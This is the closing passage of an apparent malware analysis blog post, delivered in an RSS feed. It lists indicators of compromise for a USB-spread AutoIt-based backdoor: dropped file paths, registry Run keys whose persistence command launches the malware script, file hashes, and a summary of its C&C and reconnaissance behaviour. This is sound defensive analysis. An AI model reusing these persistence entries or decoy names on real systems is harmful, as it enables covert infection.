&lt;li&gt;&lt;code&gt;X:\MozillaFirefox\GoogleChrome.a3x&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X:\MozillaFirefox\GoogleChrome.lnk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X:\MozillaFirefox\GoogleUpdate.lnk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X:\MozillaFirefox\WindowsUpdate.lnk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X:\MozillaFirefox\MozillaFirefox.lnk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X:\GoogleChrome&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X:\GoogleChrome\GoogleChrome.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X:\GoogleChrome\GoogleChrome.a3x&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X:\GoogleChrome\GoogleChrome.lnk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X:\GoogleChrome\GoogleUpdate.lnk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X:\GoogleChrome\WindowsUpdate.lnk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X:\GoogleChrome\MozillaFirefox.lnk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X:\$folder_name\$folder_name.lnk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X:\*\My Music.lnk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X:\Documents.lnk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X:\Downloads.lnk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@StartupCommonDir\Google Chrome.lnk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@StartupCommonDir\GoogleUpdate.lnk&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5.3. Regedit
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Key Name&lt;/th&gt;
&lt;th&gt;Value Name&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;JavaUpdate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;REG_SZ&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;C:\GoogleChrome\GoogleUpdate.lnk&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NewJavaInstall&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;REG_SZ&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;C:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AdopeUpdate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;REG_SZ&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;C:\GoogleChrome\GoogleUpdate.lnk&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AdopeFlash&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;REG_SZ&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;C:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  5.4. Hashes
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;GoogleChrome.a3x&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;md5:504d89bf4cd11c6557126ed1dc3d7504&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sha1:bd4ba817d1fde5a936700907e8cf3fdfe539388c&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  6. TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The malware is abusing the AutoIt 3 (3.3.8.1) signed executable. And uses compiled AutoIt3 scripts (&lt;code&gt;a3x&lt;/code&gt;) to distribute the malware. And since the malware dependent to runtime, uses Windows shortcuts that triggers malware.&lt;/li&gt;
&lt;li&gt;It distributed by removable drives. And infect victim computer via malicious shortcut files. Any execution of shortcut files will trigger infection chain.&lt;/li&gt;
&lt;li&gt;It can download any executable and run any arbitrary command via C&amp;amp;C server.&lt;/li&gt;
&lt;li&gt;It reports username, desktop name, Windows version, cpu arch, drive serial, antivirus vendor before every C&amp;amp;C connections.&lt;/li&gt;
&lt;li&gt;It adds startup triggers (via shortcuts and regedit values).&lt;/li&gt;
&lt;li&gt;It changes firewall settings to allow itself.&lt;/li&gt;
&lt;li&gt;It sends active windows titles in every 8 seconds.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>reverse</category>
      <category>malware</category>
      <category>analysis</category>
    </item>
  </channel>
</rss>
